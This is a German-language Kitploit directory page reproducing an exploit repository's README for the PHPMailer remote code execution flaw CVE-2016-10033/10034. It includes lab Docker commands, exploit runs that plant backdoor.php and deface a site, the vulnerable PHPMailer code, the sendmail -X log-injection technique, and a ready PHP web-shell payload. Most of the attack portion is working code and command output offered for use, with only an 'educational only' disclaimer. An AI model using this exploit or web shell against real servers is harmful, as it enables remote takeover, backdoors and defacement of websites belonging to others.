Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
exploit-CVE-2016-10034 — PHPMailer < 5.2.18 Remote-Code-Ausführung | Kitploit
Tools/GitHubGitHub/heikipikker/exploit-cve-2016-10034
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubheikipikker/exploit-cve-2016-10034

exploit-CVE-2016-10034

PHPMailer < 5.2.18 Remote-Code-Ausführung

Repository anzeigen
1vor 9 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PHPMailer < 5.2.18 Remote Code Execution

Docker Pulls License

PHPMailer ist die weltweit beliebteste Transportklasse mit schätzungsweise 9 Millionen Nutzern weltweit. Täglich werden weiterhin erhebliche Download-Zahlen verzeichnet. Es wird von vielen Open-Source-Projekten verwendet: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! und vielen mehr.

PHPMailer vor Version 5.2.18 weist eine Sicherheitslücke auf, die zu Remote Code Execution (RCE) führen kann. Die Funktion mailSend im isMail-Transport von PHPMailer könnte Remote-Angreifern, wenn die Sender-Eigenschaft nicht gesetzt ist, erlauben, zusätzliche Parameter an den mail-Befehl zu übergeben und dadurch beliebigen Code über ein " (Backslash-Doppelanhführungszeichen) in einer manipulierten From-Adresse auszuführen.

Verwundbare Umgebung

Um für deinen Test eine verwundbare Umgebung einzurichten, benötigst du Docker und führst einfach den folgenden Befehl aus:

root@kitploit:~
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

Dadurch wird eine verwundbare Webanwendung auf deinem Host auf Port 8080 gestartet.

vulnerable

Exploit

Um dieses Ziel auszunutzen, führe einfach Folgendes aus:

root@kitploit:~
./exploit host:port

Wenn du dieses verwundbare Image verwendest, kannst du einfach Folgendes ausführen:

root@kitploit:~
./exploit localhost:8080

Nach der Ausnutzung wird eine Datei namens backdoor.php im Stammverzeichnis des Webverzeichnisses gespeichert. Der Exploit öffnet dir eine Shell, in der du Befehle an die Backdoor senden kannst:

root@kitploit:~
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

Und das war's – du hast deine Shell. Es gibt noch einen weiteren Exploit, der einen anderen Anwendungsfall veranschaulicht.

root@kitploit:~
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

Und wenn du die Seite erneut aufrufst, siehst du Folgendes:

defaced

Verwundbarer Code

Vor diesem Commit in class.phpmailer.php gibt es in einem bestimmten Szenario keine Filterung der Sonderzeichen in der E-Mail-Adresse des Absenders. Dieser Fehler kann über die mail-Funktion hier zu einer Remote Code Execution führen.

Analysiert man den Code, gibt es in der Funktion mailSend() keinen Filter.

root@kitploit:~
        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender wird direkt an die Variable $params angehängt, die in der Funktion validateAddress() gefiltert wurde. Da diese jedoch der RFC-3696-Spezifikation folgt, erlaubt sie bestimmte Zeichen, die Probleme verursachen können. In diesem Fall: Anführungszeichen:

Zusätzlich zur Quotierung mit dem Backslash-Zeichen können herkömmliche doppelte Anführungszeichen verwendet werden, um Zeichenfolgen einzuschließen. Zum Beispiel

"Abc@def"@example.com

"Fred Bloggs"@example.com

sind alternative Formen der ersten beiden obigen Beispiele. Diese Quotierungsformen werden selten empfohlen und sind in der Praxis unüblich, müssen aber, wie oben erläutert, von Anwendungen unterstützt werden, die E-Mail-Adressen verarbeiten. Insbesondere erscheinen die Quotierungsformen oft im Zusammenhang mit Adressen, die mit Übergängen von anderen Systemen und Kontexten verbunden sind; diese Übergangsanforderungen treten nach wie vor auf, und da ein System, das eine benutzerbereitgestellte E-Mail-Adresse akzeptiert, nicht "wissen" kann, ob diese Adresse mit einem Altsystem verbunden ist, müssen die Adressformen akzeptiert und in die E-Mail-Umgebung übergeben werden.

Die gesamte RFC kannst du bei Bedarf hier lesen. Wenn die PHP-Version älter als 5.2.0 ist und kein PCRE installiert ist, wird die Variable $patternselect in validateAddress() auf noregex gesetzt. Dadurch kann die Eingabe jede Regex-Prüfung umgehen. Sie durchläuft lediglich eine kleine Überprüfung:

root@kitploit:~
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

Danach geht der Codefluss zur Funktion mailPassthru() über, die bei aktivem safe_mode nicht anfällig für diesen Fehler ist, wie der folgende Code zeigt:

root@kitploit:~
        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

Wenn sie jedoch nicht im safe_mode läuft, wird unser spezieller Parameter an mail() übergeben, und mit etwas Glück wird unsere Datei mit beliebigem Inhalt an die von uns gewählte Stelle geschrieben.

Anmerkungen zur Ausnutzung der PHP-mail()-Funktion

Die Ausnutzung der PHP-mail()-Funktion ist nichts Neues, aber sie ist weiterhin aktuell und wird nach wie vor genutzt. Um zu erklären, wie sie funktioniert, schauen wir uns an, wie die mail()-Funktion definiert ist:

root@kitploit:~
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Es gibt verschiedene Ausnutzungsmethoden für unterschiedliche Ergebnisse. Wir konzentrieren uns auf die Ausnutzung des 5. Parameters, um Remote Code Execution (RCE) zu erreichen. Der Parameter $additional_parameters wird verwendet, um zusätzliche Flags als Befehlszeilenoptionen an das Programm zu übergeben, das für den Versand der E-Mail konfiguriert ist. Diese Konfiguration wird durch die Variable sendmail_path festgelegt.

Ein Sicherheitshinweis aus der offiziellen PHP-Dokumentation:

Der Parameter additional_parameters kann verwendet werden, um zusätzliche Flags als Befehlszeilenoptionen an das Programm zu übergeben, das beim Senden von E-Mails verwendet werden soll, wie durch die Konfigurationseinstellung sendmail_path definiert. Beispielsweise kann er verwendet werden, um die Envelope-Absenderadresse festzulegen, wenn sendmail mit der Option -f verwendet wird.

Dieser Parameter wird intern von escapeshellcmd() maskiert, um eine Befehlsausführung zu verhindern. escapeshellcmd() verhindert die Befehlsausführung, erlaubt aber das Hinzufügen zusätzlicher Parameter. Aus Sicherheitsgründen wird dem Benutzer empfohlen, diesen Parameter zu bereinigen, um das Hinzufügen unerwünschter Parameter zum Shell-Befehl zu vermeiden.

In Anbetracht der zusätzlichen Parameter, die injiziert werden können, verwenden wir -X, um diesen Fehler auszunutzen. Mehr zum Parameter -X:

root@kitploit:~
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.

Es gibt auch einige andere interessante Parameter, die du kennen solltest:

root@kitploit:~
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.

Und

root@kitploit:~
-O option=value
Set option option to the specified value. This form uses long names.

Und bei der Option -O ist QueueDirectory die interessanteste Option; sie wählt das Verzeichnis, in dem Nachrichten in die Warteschlange eingereiht werden.

Wenn du die gesamte Liste der Parameter und Optionen lesen möchtest, führe einfach man sendmail aus oder lies sie online hier.

Basierend auf diesen Informationen und der Fähigkeit, mindestens einen der anderen Parameter zu kontrollieren, können wir den Host ausnutzen. Im Folgenden findest du die Schritte für eine erfolgreiche Ausnutzung:

  • Kontrolliere $additional_parameters und einen weiteren mail()-Parameter
  • Kenne ein beschreibbares Verzeichnis auf dem Zielhost, das über das Zielsystem und den Benutzer (z. B. www-data) erreichbar ist. Normalerweise kann dieses Verzeichnis alles unterhalb von webroot sein (auch bekannt als /var/www/html für andere Systeme, /www für dieses Beispiel)
  • Ein beliebiges PHP-Payload, das du verwenden möchtest – wir verwenden in diesem Beispiel ein einfaches system()-Payload, mit einer Prise base64 und einigen Sonderzeichen (|), um es leichter parsen zu können.
  • Setze einfach alles zusammen!

Denk daran, dass die Option -X die Logdatei in das von dir angegebene Verzeichnis schreibt; die Logdatei enthält neben den Loginformationen auch dein PHP-Payload. Ein Beispiel für einen verwundbaren PHP-Code:

root@kitploit:~
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);

Wenn du den obigen Code ausführst, wird eine Logdatei unter /www/backdoor.php erstellt. Das ist der Kern dieses Exploits.

Payload

Im Folgenden das in diesem Beispiel verwendete Payload:

root@kitploit:~
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>

Ich will Bugs jagen, was nun?

Du willst eine einfache Möglichkeit mit einem einzigen Befehl, um diese Schwachstelle aufzuspüren? Merk dir diesen magischen Grep-Befehl!

root@kitploit:~
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

Wenn du ihn gegen dieses Repository ausführst, erhältst du:

root@kitploit:~
src/class.phpmailer.php:700:            $result = @mail($to, $subject, $body, $header, $params);

Danksagungen

Diese Sicherheitslücke wurde von Dawid Golunski entdeckt.

Haftungsausschluss

Dieses und frühere Programme dienen NUR zu Bildungszwecken. Verwende sie nicht ohne Erlaubnis. Es gilt der übliche Haftungsausschluss, insbesondere die Tatsache, dass ich (opsxcq) nicht für Schäden haftbar bin, die durch direkte oder indirekte Nutzung der von diesen Programmen bereitgestellten Informationen oder Funktionen entstehen. Der Autor oder irgendein Internetanbieter übernimmt KEINE Verantwortung für den Inhalt oder die missbräuchliche Verwendung dieser Programme oder ihrer Derivate. Durch die Nutzung dieser Programme akzeptierst du, dass jegliche Schäden (Datenverlust, Systemabsturz, Systemkompromittierung usw.), die durch die Nutzung dieser Programme verursacht werden, nicht in der Verantwortung von opsxcq liegen.

Tool herunterladen